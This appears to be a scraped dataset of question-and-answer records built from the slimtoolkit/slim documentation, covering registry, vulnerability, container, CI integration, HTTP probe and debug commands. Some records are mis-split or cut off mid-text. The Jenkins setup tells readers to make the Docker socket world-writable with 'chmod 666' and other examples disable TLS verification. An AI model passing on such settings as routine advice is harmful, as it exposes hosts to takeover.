{"id": "gh_ae5b2ff047ff", "question": "How to: `REGISTRY` COMMAND OPTIONS", "question_body": "About slimtoolkit/slim", "answer": "For the operations that require authentication you can reuse the registry credentials from Docker (do `docker login` first and then use the `--use-docker-credentials` flag with the `registry` command) or you can specify the auth info using the `--account` and `--secret` flags).\n\nCurrent sub-commands: `pull`, `push`, `image-index-create`, `server`.\n\nThere's also a placeholder for `copy`, but it doesn't do anything yet. Great opportunity to contribute ;-)\n\nShared Command Level Flags:\n\n- `--use-docker-credentials` - Use the registry credentials from the default Docker config file.\n- `--account` - Registry credentials account.\n- `--secret` - Registry credentials secret.\n\n#### `PULL` SUBCOMMAND OPTIONS\n\nUSAGE: `slim [GLOBAL FLAGS] registry [SHARED FLAGS] pull [FLAGS] [IMAGE]`\n\nFlags:\n\n- `--target value` - Target container image (name or ID) [$DSLIM_TARGET]\n- `--save-to-docker`- Save pulled image to docker (default: true) [$DSLIM_REG_PULL_SAVE_TO_DOCKER]\n\n#### `PUSH` SUBCOMMAND OPTIONS\n\nUSAGE: `slim [GLOBAL FLAGS] registry [SHARED FLAGS] push [FLAGS] [IMAGE]`\n\nFlags:\n\n- `--docker` -- Push local docker image.\n- `--tar` -- Push image from a local tar file.\n- `--as` -- Tag the selected image with the specified name before pushing.\n\nNote that `slim registry push LOCAL_DOCKER_IMAGE_NAME` is a shortcut for `slim registry push --docker LOCAL_DOCKER_IMAGE_NAME`.\n\nNormally you have to explicitly tag the target image to have a name that's appropriate for the destination registry. The `--as` flag is a convenient way to tag the image while you are pushing it. Here's an example pushing a local Docker `nginx` image to a local registry: `slim registry push --docker nginx --as localhost:5000/nginx`\n\nYou can create a local registry using the `server` subcommand. See the `server` sub-command section below for more details.\n\n#### `COPY` SUBCOMMAND OPTIONS\n\nUSAGE: `slim registry copy [SRC_IMAGE] [DST_IMAGE]`\n\nNOTE: Just a placeholder for now (TBD)\n\n#### `IMAGE-INDEX-CREATE` SUBCOMMAND OPTIONS\n\nUSAGE: `slim registry image-index-create --image-index-name [MULTI-ARCH_IMAGE_TAG] --image-name [IMAGE_ONE] --image-name [IMAGE_TWO]`\n\nFlags: \n\n- `--image-index-name` - Image index name to use.\n- `--image-name` - Target image name to include in image index.\n- `--as-manifest-list` - Create image index with the manifest list media type instead of the default OCI image index type.\n- `--dump-raw-manifest` - Dump raw manifest for the created image index.\n- `--insecure-refs` - Allow the referenced images from insecure registry connections.\n\n#### `SERVER` SUBCOMMAND OPTIONS\n\nStarts a server which implements the [OCI API spec](https://github.com/opencontainers/distribution-spec/blob/v1.0.1/spec.md) on port 5000 by default.\n\nUSAGE: `slim [GLOBAL FLAGS] registry server [FLAGS]`\n\nFlags:\n\n- `--address` - Registry server address to listen on (default: `0.0.0.0`)\n- `--port` - Registry server port (default: 5000)\n- `--https` - Use HTTPS.\n- `--cert-path` - Cert path for use with HTTPS (for use when not using autocert).\n- `--key-path` - Key path for use with HTTPS (for use when not using autocert).\n- `--domain` - Domain to use for registry server (to get certs). Only works if the registry is internet accessible (see `autocert` Go docs for more details).\n- `--referrers-api` - Enables the [referrers API endpoint](https://github.com/opencontainers/distribution-spec/blob/v1.1.0-rc3/spec.md#enabling-the-referrers-api) (OCI 1.1+). Enabled by default (set to `false` to disable).", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063089"}
{"id": "gh_ee0893dfa29e", "question": "How to: `VULNERABILITY` COMMAND OPTIONS", "question_body": "About slimtoolkit/slim", "answer": "USAGE: `slim [GLOBAL FLAGS] vulnerability [SHARED FLAGS] [SUBCOMMAND] [FLAGS]`\n\nCurrent sub-commands: \n\n* `epss` - Gets EPPS information for the target vulnerabilities or based on the selected vulnerability filters.\n\nShared Command Level Flags:\n\n- `--cve` - Target vulnerability CVE ID (can specify multiple times to target multiple vulnerabilities).\n\n#### `EPSS` SUBCOMMAND OPTIONS\n\nUSAGE: `slim [GLOBAL FLAGS] vulnerability [SHARED FLAGS] epss [FLAGS]`\n\nFlags:\n\n- `--op` - EPSS operation (`lookup` | `list`).\n- `--date` - Date for the EPSS information (YYYY-MM-DD format). Works with the `lookup` and `list` operations.\n- `--with-history` - Return EPSS results with historical data. Works with the `lookup` and `list` operations.\n- `--limit` - Limit the number of returned records.\n- `offset` - Offset where to start returning records.\n- `filter-cve-id-pattern` - 'CVE ID pattern' ESPP list operation filter.\n- `filter-days-since-added` - 'days since added' ESPP list operation filter.\n- `filter-score-gt` - 'score is greater than' ESPP list operation filter.\n- `filter-score-lt` - 'score is less than' ESPP list operation filter.\n- `filter-percentile-gt` - 'percentile is greater than' ESPP list operation filter.\n- `filter-percentile-lt` - 'percentile is less than' ESPP list operation filter.\n- `filter-order-records` - 'order returned records' ESPP list operation filter ('score-desc' | 'score-asc' | 'percentile-desc' | 'percentile-asc').\n\nExamples:\n\n* `slim --quiet vulnerability --cve CVE-2021-21315 epss`\n* `slim --output-format=json vulnerability --cve CVE-2021-21315 epss`\n* `slim --quiet --output-format=json vulnerability --cve CVE-2021-21315 --cve CVE-2023-49070 epss`\n* `slim --quiet vulnerability --cve CVE-2021-21315 epss --with-history --date 2022-12-13`\n* `slim --quiet vulnerability epss --op list --date 2024-01-05`\n* `slim --quiet vulnerability epss --op list --filter-cve-id-pattern 2023 --filter-score-gt 0.92 --limit 2 --offset 3`", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063100"}
{"id": "gh_84a134e52903", "question": "How to: RUNNING CONTAINERIZED", "question_body": "About slimtoolkit/slim", "answer": "The current version of Slim is able to run in containers. It will try to detect if it's running in a containerized environment, but you can also tell Slim explicitly using the `--in-container` global flag.\n\nYou can run Slim in your container directly or you can use the Slim container image in your containerized environment. If you are using the Slim container image make sure you run it configured with the Docker IPC information, so it can communicate with the Docker daemon. The most common way to do it is by mounting the Docker unix socket to the Slim app container. Some containerized environments (like Gitlab and their `dind` service) might not expose the Docker unix socket to you, so you'll need to make sure the environment variables used to communicate with Docker (e.g., `DOCKER_HOST`) are passed to the Slim app container. Note that if those environment variables reference any kind of local host names those names need to be replaced or you need to tell the Slim app about them using the `--etc-hosts-map` flag. If those environment variables reference local files those local files (e.g., files for TLS cert validation) will need to be copied to a temporary container, so that temporary container can be used as a data container to make those files accessible by the Slim app container.\n\nWhen Slim app runs in a container it will attempt to save its execution state in a separate Docker volume. If the volume doesn't exist it will try to create it (`slim-state`, by default). You can pick a different state volume or disable this behavior completely by using the global `--archive-state` flag. If you do want to persist the Slim app execution state (which includes the `seccomp` and `AppArmor` profiles) without using the state archiving feature you can mount your own volume that maps to the `/bin/.slim-state` directory in the Slim app container.\n\nBy default, the Slim app will try to create a Docker volume for its sensor unless one already exists. If this behavior is not supported by your containerized environment you can create a volume separately and pass its name to the Slim app using the `--use-sensor-volume` flag.\n\nHere's a basic example of how to use the containerized version of the Slim app:\n`docker run -it --rm -v /var/run/docker.sock:/var/run/docker.sock dslim/slim build your-docker-image-name`\n\nHere's a GitLab example for their `dind` `.gitlab-ci.yml` config file:\n`docker run -e DOCKER_HOST=tcp://$(grep docker /etc/hosts | cut -f1):2375 dslim/slim build your-docker-image-name`\n\nHere's a CircleCI example for their `remote docker` `.circleci/config.yml` config file (used after the `setup_remote_docker` step):\n\n```bash\ndocker create -v /dcert_path --name dcert alpine:latest /bin/true\ndocker cp $DOCKER_CERT_PATH/. dcert:/dcert_path\ndocker run --volumes-from dcert -e DOCKER_HOST=$DOCKER_HOST -e DOCKER_TLS_VERIFY=$DOCKER_TLS_VERIFY -e DOCKER_CERT_PATH=/dcert_path dslim/slim build your-docker-image-name\n```\n\nDifferent CI/CD services have different containerized environment designs that impose various restrictions that may impact the ability of the main app to communicate with the sensor app embedded in the temporary container Slim creates. Try adjusting the values for the `--sensor-ipc-mode` and `--sensor-ipc-endpoint` flags. This [`Google Cloud Build`](https://medium.com/google-cloud/integrating-dockerslim-container-minify-step-on-cloud-build-64da29fd58d1) blog post by Márton Kodok is a good reference for both of those flags.", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 22689, "answer_score": 10, "has_code": true, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063112"}
{"id": "gh_d4ee0fc50a30", "question": "How to: Using `*-file` Flags", "question_body": "About slimtoolkit/slim", "answer": "- There are several flags that accept file paths (`--include-path-file`, `--compose-file`, `--http-probe-cmd-file`, etc). You need volume mount the location of the referenced paths or the file paths themselves when you use the containerized version of Slim because the Slim app container won't have accept to the referenced files otherwise.", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063117"}
{"id": "gh_528499f7e1b7", "question": "How to: Integrating Slim in Jenkins", "question_body": "About slimtoolkit/slim", "answer": "#### Prerequisites:\n- Spin up a virtual machine(e.g.EC2 Instance, Azure VM, GCE) which has an Ubuntu OS via your desired cloud platform(AWS, Azure, GCP), SSH into the machine, update the machine packages and install docker. An example of this step is highlighted below given you are running an AWS EC2 Instance.\n```\nsudo apt update -y\n```\n```\nsudo apt install docker -y\n```\n```\nsudo systemctl start docker\n```\n```\nsudo usermod -aG docker ec2-user\n```\n- Install Jenkins on the virtual machine using docker as stipulated by the [Jenkins Documentation](https://github.com/jenkinsci/docker/blob/master/README.md), this step pulls [Jenkins Image from DockerHub](https://hub.docker.com/r/jenkins/jenkins), runs Jenkins as a container via port 8080 and creates an explicit docker volume on the host machine to retain Jenkins data. Given you are running an AWS EC2 Instance, create a TCP rule with port 8080 in the Instance security group rules which allows only your Internet Protocol(IP) address to access the Jenkins server. \n```\ndocker run -p 8080:8080 -p 50000:50000 -d -v jenkins_home:/var/jenkins_home jenkins/jenkins:lts\n```\n- Given Jenkins is now running as a containerized environment in the virtual machine, you need to make docker available in the Jenkins container, you can do this by bind mounting the virtual machine docker unix socket onto the jenkins container, note that to carry out this step you need to stop the running jenkins container, you can find the jenkins container ID by using the docker ps command, the commands to execute are highlighted below. This step is essential as it makes docker available in the Jenkins container, and with docker you can pull Slim Image which is to be used in further steps.\n```\ndocker ps \n```\n```\ndocker stop [jenkins_container_id]\n```\n```\ndocker run -p 8080:8080 -p 50000:50000 -d \\  \n-v jenkins_home:/var/jenkins_home \\ \n-v /var/run/docker.sock:/var/run/docker.sock \\ \n-v $(which docker):/usr/bin/docker jenkins/jenkins:lts\n```\n- Enable Docker permissions in the new jenkins container, such that Jenkins can perform docker commands and pull the [Slim Official Image](https://hub.docker.com/r/dslim/docker-slim) in the container. To do this, you need to get into the Jenkins container as a root user, you can find the jenkins container ID by using the docker ps command, the commands to execute are highlighted below:\n```\ndocker exec -u 0 -it [jenkins_container_id] bash\n```\n```\nchmod 666 /var/run/docker.sock \n```\n```\ndocker pull dslim/slim\n```\n#### Jenkinsfile Slim Stage\nGiven you have completed the prerequisite steps above, you can build a docker image and minify the image size using Slim via the snippet stage below which should be highlighted in your Jenkinsfile stages.\n```\nstage(\"Build and Slim Docker Image\") {\n  steps {\n      script {\n          echo \"building and slimming docker image...\"\n          sh 'docker build -t IMAGE_NAME:$BUILD_NUMBER .'\n          sh 'docker run --rm -v /var/run/docker.sock:/var/run/docker.sock dslim/slim \\\n              build --target IMAGE_NAME:$BUILD_NUMBER --tag IMAGE_NAME:slim-$BUILD_NUMBER \\\n              exit'\n      }\n  }\n}\n```\n- The snippet stage above allows for customization, you should replace the image name--IMAGE_NAME with your desired image name, the environment variable tag--$BUILD_NUMBER represents a unique incremental number allocated by Jenkins each time your jenkins pipeline runs. \n- The docker build command builds a Docker Image of your application from a Dockerfile.\n- The docker run command runs Slim in a non-interactive mode via the docker unix socket, minifies the built(target) image--IMAGE_NAME:$BUILD_NUMBER, and adjusting it to a new slimmed image with the image/tag--IMAGE_NAME:slim-$BUILD_NUMBER.\n- You should put the Slim stage before a docker tag/push stage and after a build/test artifact in your Jenkinsfile, an example pipeline is highlighted below for a sample nodejs application; The first stage test and builds an artifact of the application; The second stage builds a docker image and a slimmed version of the docker image; The third stage tags the slimmed docker image with a DockerHub account remote repository and pushes the image to the remote repository.\n```\npipeline {\n    agent any\n    stages {\n        stage(\"building nodejs app\") {\n            steps{\n                script {\n                    echo \"building nodejs app...\"\n                    sh 'npm run test'\n                    sh 'npm pack'\n                }\n            }\n        }\n        stage(\"Build and Slim Docker Image\") {\n            steps {\n                script {\n                    echo \"building and slimming docker image...\"\n                    sh 'docker build -t node_alpine:$BUILD_NUMBER .'\n                    sh 'docker run --rm -v /var/run/docker.sock:/var/run/docker.sock dslim/slim \\\n                        build --target node_alpine:$BUILD_NUMBER --tag node_alpine:slim-$BUILD_NUMBER \\\n                        exit'\n                }\n            }\n        }\n        st", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 22689, "answer_score": 10, "has_code": true, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063133"}
{"id": "gh_e7365abc8d92", "question": "How to: Integrating Slimtoolkit in Github Actions", "question_body": "About slimtoolkit/slim", "answer": "#### Github Action\nIntegrating SlimToolkit in Github Actions in your CI/CD workflow involves using the [Docker-Slim Github Action](https://github.com/marketplace/actions/docker-slim-github-action), this Action(snippet below) minifies a target docker image--IMAGE_NAME:latest in your workflow, making it smaller and adjusting the new slimmed image as IMAGE_NAME:slim.  \n```", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 22689, "answer_score": 10, "has_code": true, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063139"}
{"id": "gh_b1a88466ee09", "question": "How to: Build the Docker image first", "question_body": "About slimtoolkit/slim", "answer": "- uses: docker/build-push-action@v4\n  with:\n    push: false\n    tags: IMAGE_NAME:{{github.run_number}}", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 22689, "answer_score": 10, "has_code": true, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063146"}
{"id": "gh_0a43f7510bad", "question": "How to: Slim the Image", "question_body": "About slimtoolkit/slim", "answer": "- uses: kitabisa/docker-slim-action@v1\n  env:\n    DSLIM_HTTP_PROBE: false\n  with:\n    target: IMAGE_NAME:{{github.run_number}}\n    tag: \"slim-{{github.run_number}}\"", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 22689, "answer_score": 10, "has_code": true, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063151"}
{"id": "gh_f65b468be729", "question": "How to: Docker Hub Login", "question_body": "About slimtoolkit/slim", "answer": "uses: docker/login-action@v2\n  with:\n    username: ${{ secrets.DOCKERHUB_USERNAME }}\n    password: ${{ secrets.DOCKERHUB_TOKEN }}", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 22689, "answer_score": 10, "has_code": true, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063156"}
{"id": "gh_bc2d94c110e5", "question": "How to: Push to the registry", "question_body": "About slimtoolkit/slim", "answer": "- run: | \n   docker tag IMAGE_NAME:slim-{{github.run_number}} ${{ secrets.DOCKERHUB_USERNAME }}/IMAGE_NAME:slim-{{github.run_number}}\n   docker push ${{ secrets.DOCKERHUB_USERNAME }}/IMAGE_NAME:slim-{{github.run_number}}\n```\nThe workflow above indicates four steps:\n- A [Docker Build/Push Github Action](https://github.com/docker/build-push-action) for building a docker image with the image name/tag--IMAGE_NAME:{{github.run_number}}, you should give replace IMAGE_NAME with your desired image name. Note that this Action must have a false option to push the built image--given that you need the image slimmed/minified before pushing it to a container registry. \n- A Docker-Slim Github Action which minifies the target image--IMAGE_NAME:{{github.run_number}}, this Action has the \"slim-{{github.run_number}}\" tag and adds this tag to the slimmed/minified docker image such that the image name/tag becomes IMAGE_NAME:slim-{{github.run_number}}.\n- A Docker Login Github Action which logs into your DockerHub container regristry account, you should store your DockerHub username and personal access token as secrets in the github repository meant for the workflow. Suppose your container registry is not DockerHub, you can check the [Docker Login Github Action documentation](https://github.com/docker/login-action) for the use case of logging into your desired container registry. \n- A docker tag command for naming/tagging the slimmed image with your DockerHub account remote repository name which could be the same name(IMAGE_NAME) as the slimmed image; A docker push command to push the slimmed image to your Dockerhub account remote repository.", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 22689, "answer_score": 10, "has_code": true, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063163"}
{"id": "gh_366a5d437136", "question": "How to: DOCKER CONNECT OPTIONS", "question_body": "About slimtoolkit/slim", "answer": "If you don't specify any Docker connect options the Slim app expects to find the Docker Unix socket (`/var/run/docker.sock`) or the following environment variables: `DOCKER_HOST`, `DOCKER_TLS_VERIFY` (optional), `DOCKER_CERT_PATH` (required if `DOCKER_TLS_VERIFY` is set to `\"1\"`). Note that the `DOCKER_HOST` environment variable can be used to point to a Unix socket address (in case the default Unix socket isn't there). This is useful when you use Docker Desktop and you haven't configured Docker Desktop to create the default Unix socket.\n\nIf the Docker environment variables are configured to use TLS and to verify the Docker cert (default behavior), but you want to disable the TLS verification you can override the TLS verification behavior by setting the `--tls-verify` to false:\n\n`slim --tls-verify=false build my/sample-node-app-multi`\n\nYou can override all Docker connection options using these flags: `--host`, `--tls`, `--tls-verify`, `--tls-cert-path`. These flags correspond to the standard Docker options (and the environment variables). Note that you can also use the `--host` flag (similar to `DOCKER_HOST`) to point to a Unix socket (e.g., `--host=unix:///var/run/docker.sock`).\n\nIf you want to use TLS with verification:\n\n`slim --host=tcp://192.168.99.100:2376 --tls-cert-path=/Users/youruser/.docker/machine/machines/default --tls=true --tls-verify=true build my/sample-node-app-multi`\n\nIf you want to use TLS without verification:\n\n`slim --host=tcp://192.168.99.100:2376 --tls-cert-path=/Users/youruser/.docker/machine/machines/default --tls=true --tls-verify=false build my/sample-node-app-multi`\n\nIf the Docker environment variables are not set and if you don't specify any Docker connect options Slim will try to use the default unix socket.", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063172"}
{"id": "gh_5924bd9c8fce", "question": "How to: DOCKER DESKTOP", "question_body": "About slimtoolkit/slim", "answer": "You may not have the default Unix socket (`/var/run/docker.sock`) configured if you use Docker Desktop. By default, Docker Desktop uses `~/.docker/run/docker.sock` as the Unix socket.\n\nYou can either use `--host` or `DOCKER_HOST` to point to the Docker Desktop's Unix socket or you can configure Docker Desktop to create the default/traditional Unix socket (creating the `/var/run/docker.sock` symlink manually is an option too).\n\nTo configure Docker Desktop to create the default Unix socket open its UI and go to `Settings -> Advanced` where you need to check the `Enable default Docker socket (Requires password)` option.", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063178"}
{"id": "gh_1b1171b6ce13", "question": "How to: HTTP PROBE COMMANDS", "question_body": "About slimtoolkit/slim", "answer": "If the HTTP probe is enabled (note: it is enabled by default) it will default to running `GET /` with HTTP and then HTTPS on every exposed port. You can add additional commands using the `--http-probe-cmd` and `--http-probe-cmd-file` options.\n\nIf you want to disable HTTP probing set the `--http-probe` flag to false (e.g., `--http-probe=false`). You can also use the `--http-probe-off` flag to do the same (simply use the flag without any parameters).\n\nThe `--http-probe-cmd` option is good when you want to specify a small number of simple commands where you select some or all of these HTTP command options: crawling (defaults to false), protocol, method (defaults to GET), resource (path and query string).\n\nIf you only want to use custom HTTP probe command and you don't want the default `GET /` command added to the command list you explicitly provided you'll need to set `--http-probe` to false when you specify your custom HTTP probe command. Note that this inconsistency will be addressed in the future releases to make it less confusing.\n\nPossible field combinations:\n* `/path` - runs `GET /path`\n* `crawl:/path` - runs `GET /path` and then crawls the pages referenced by the target page\n* `post:/path` - runs `POST /path`\n* `crawl:get:/path` - runs `GET /path` and then crawls the pages referenced by the target page\n* `https:get:/path` runs `GET /path` only on https\n* `crawl:http:get:/path` - runs `GET /path` and then crawls the pages referenced by the target page\n\nHere are a couple of examples:\n\nAdds two extra probe commands: `GET /api/info` and `POST /submit` (tries http first, then tries https):\n`slim build --show-clogs --http-probe-cmd /api/info --http-probe-cmd POST:/submit my/sample-node-app-multi`\n\nAdds one extra probe command: `POST /submit` (using only http):\n`slim build --show-clogs --http-probe-cmd http:POST:/submit my/sample-node-app-multi`\n\nThe `--http-probe-cmd-file` option is good when you have a lot of commands and/or you want to select additional HTTP command options.\n\nAvailable HTTP command options:\n* `method` - HTTP method to use\n* `resource` - target resource URL\n* `port` - port number\n* `protocol` - `http`, `https`, `http2`, `http2c` (cleartext version of http2), `ws`, `wss` (secure websocket)\n* `headers` - array of strings with column delimited key/value pairs (e.g., \"Content-Type: application/json\")\n* `body` - request body as a string\n* `body_file` - request body loaded from the provided file\n* `username` - username to use for basic auth\n* `password` - password to use for basic auth\n* `crawl` - boolean to indicate if you want to crawl the target (to visit all referenced resources)\n\nHere's a probe command file example:\n\n`slim build --show-clogs --http-probe-cmd-file probeCmds.json my/sample-node-app-multi`\n\nCommands in `probeCmds.json`:\n\n```\n{\n  \"commands\":\n  [\n   {\n     \"resource\": \"/api/info\"\n   },\n   {\n     \"method\": \"POST\",\n     \"resource\": \"/submit\"\n   },\n   {\n     \"procotol\": \"http\",\n     \"resource\": \"/api/call?arg=one\"\n   },\n   {\n     \"protocol\": \"http\",\n     \"method\": \"POST\",\n     \"resource\": \"/submit2\",\n     \"body\": \"key=value\"\n   },\n   {\n     \"protocol\": \"http\",\n     \"method\": \"POST\",\n     \"resource\": \"/submit3\",\n     \"body_file\": \"mydata.json\",\n     \"headers\": [\"Content-Type: application/json\"]\n   }\n  ]\n}\n```\n\nThe HTTP probe command file path can be a relative path (relative to the current working directory) or it can be an absolute path.\n\nFor each HTTP probe call Slim will print the call status. Example: `info=http.probe.call status=200 method=GET target=http://127.0.0.1:32899/ attempt=1 error=none`.\n\nYou can execute your own external HTTP requests using the `target.port.list` field in the container info message Slim prints when it starts its test container: `slim[build]: info=container name=\nid=\ntarget.port.list=[\n] target.port.info=[\n]`. Example: `slim[build]: info=container name=slimk_42861_20190203084955 id=aa44c43bcf4dd0dae78e2a8b3ac011e7beb6f098a65b09c8bce4a91dc2ff8427 target.port.list=[32899] target.port.info=[9000/tcp => 0.0.0.0:32899]`. With this information you can run `curl` or other HTTP request generating tools: `curl http://localhost:32899`.\n\nThe current version also includes an experimental `crawling` capability. To enable it for the default HTTP probe use the `--http-probe-crawl` flag. You can also enable it for the HTTP probe commands in your command file using the `crawl` boolean field.\n\nWhen `crawling` is enabled the HTTP probe will act like a web crawler following the links it finds in the target endpoint.\n\nProbing based on the Swagger/OpenAPI spec is another experimental capability. This feature introduces two new flags:\n* `http-probe-apispec` - value: `\n:\n`\n* `http-probe-apispec-file` - value: `\n`\n\nYou can use the `--http-probe-exec` and `--http-probe-exec-file` options to", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 22689, "answer_score": 10, "has_code": true, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063194"}
{"id": "gh_e6b620c8af05", "question": "How to: Debugging Using the `debug` Command", "question_body": "About slimtoolkit/slim", "answer": "The current version of the `debug` command is pretty basic and it lacks a number of useful capabilities. It will help you debug containers running in Docker or Kubernetes (use the `--runtime` flag and set it to `k8s` if you need to debug a container in Kubernetes). \n\nBy default the `debug` command will provide you with an interactive terminal when it attaches the debugger side-car image to the debugged target container. Future versions will allow you to have different interaction modes with the target.\n\n#### The Debug Images\n\nYou can use any container image as a debug image, but there's a list of pre-selected debug images you can choose.\n\nYou can list all pre-selected debug images with the `--list-debug-images` and if you are using the interactive prompt mode there'll be an auto-complete dropdown menu for the `--debug-image` flag.\n\nHere's the current list of debug images:\n\n* `cgr.dev/chainguard/slim-toolkit-debug:latest` - a general purpose SlimToolkit debug image created by Chainguard\n* `cgr.dev/chainguard/wolfi-base:latest` - a basic lightweight Wolfi image\n* `busybox:latest` - a lightweight image with common unix utilities\n* `nicolaka/netshoot` - a network trouble-shooting swiss-army container\n* `lightruncom/koolkits:node` - a debug image for Node.js applications\n* `lightruncom/koolkits:python` - a debug image for Python applications\n* `lightruncom/koolkits:golang` - a debug image for Go applications\n* `lightruncom/koolkits:jvm` - a debug image for Java applications\n* `digitalocean/doks-debug:latest` - a kubernetes troubleshooting debug image\n* `public.ecr.aws/zinclabs/debug-ubuntu-base:latest` - an image with common debugging utilities \n\n#### Steps to Debug Your Container (Kubernetes Runtime)\n\n1. Make sure the target environment you want to debug is up (the example k8s manifest creates a pod with the minimal nginx image from Chainguard and it has no shell):\n```bash\n\n>> kubectl apply -f examples/k8s_nginx_cgr/manifest.yaml\n\n```\n2. Run the debug command:\n\n```bash\n\n>> slim debug --runtime=k8s --pod=example-pod example-container\n\n```\nor\n```bash\n\n>> slim debug --runtime=k8s --pod=example-pod --target=example-container\n\n```\n\nNow you should have an interactive shell into the debug container started by `slim` and you can type your regular shell commands.\n\nBy default the `debug` command will connect the interactive terminal to the debugged container and it will run a shell as if it's running in the target container environment, so you will see the file system of the target container as if you are directly connected (you won't have to go through the `proc` file system). You can change this behavior by using the `--run-as-target-shell` (which is true by default). For example, this call will connect you to the debug container in a more traditional way: `slim debug --runtime=k8s --run-as-target-shell=false example-container`\n\nAlso note that if you use the interactive `prompt` mode (when you run `slim` with no command line parameters) you will get auto-complete behavior for a number of flags: `--target`, `--namespace`, `--pod`, `--session`.\n\nEach time you try to debug an image `slim` will have a session that represents it. You'll be able to reconnect to the existing active debug sessions and you'll be able to get logs from all available sessions.\n\n#### Steps to Debug Your Container (Docker Runtime) \n\n1. Start the target container you want to debug:\n```bash\n\n>> docker run -it --rm -p 80:80 --name mycontainer nginx\n\n```\n2. Run the debug command:\n\n```bash\n\n>> slim debug mycontainer\n\n```\nor\n```bash\n\n>> slim debug --target=mycontainer\n\n```\n\nNow you should have an interactive shell into the debug container started by `slim` and you can type your regular shell commands.\n\nBy default the `debug` command will connect the interactive terminal to the debugged container and it will run a shell as if it's running in the target container environment, so you will see the file system of the target container as if you are directly connected (you won't have to go through the `proc` file system). You can change this behavior by using the `--run-as-target-shell` (which is true by default). For example, this call will connect you to the debug container in a more traditional way: `slim debug --run-as-target-shell=false mycontainer`\n\nAlso note that if you use the interactive `prompt` mode (when you run `slim` with no command line parameters) you will get auto-complete behavior for a number of flags: `--target`, `--session`.\n\nEach time you try to debug an image `slim` will have a session that represents it. You'll be able to reconnect to the existing active debug sessions and you'll be able to get logs from all available sessions.", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 22689, "answer_score": 10, "has_code": true, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063207"}
{"id": "gh_4a5e659e86af", "question": "How to: Debugging the \"Hard Way\" (Docker Runtime)", "question_body": "About slimtoolkit/slim", "answer": "You can create dedicated debugging side-car container images loaded with the tools you need for debugging target containers. This allows you to keep your production container images small. The debugging side-car containers attach to the running target containers.\n\nAssuming you have a running container named `node_app_alpine` you can attach your debugging side-car with a command like this: `docker run --rm -it --pid=container:node_app_alpine --net=container:node_app_alpine --cap-add sys_admin alpine sh`. In this example, the debugging side-car is a regular alpine image. This is exactly what happens with the `node_alpine` app sample (located in the `node_alpine` directory of the `examples` repo) and the `run_debug_sidecar.command` helper script.\n\nIf you run the `ps` command in the side-car you'll see the application from the target container:\n\n```", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 22689, "answer_score": 10, "has_code": true, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063214"}
{"id": "gh_324f745de3cb", "question": "How to: ls -lh /proc/1/root/opt/my/service", "question_body": "About slimtoolkit/slim", "answer": "total 8\ndrwxr-xr-x    3 root     root        4.0K Sep  2 15:51 node_modules\n-rwxr-xr-x    1 root     root         415 Sep  8 00:52 server.js\n```\n\nSome of the useful debugging commands include `cat /proc/\n/cmdline`, `ls -l /proc/\n/cwd`, `cat /proc/1/environ`, `cat /proc/\n/limits`, `cat /proc/\n/status` and `ls -l /proc/\n/fd`.", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 22689, "answer_score": 10, "has_code": true, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063221"}
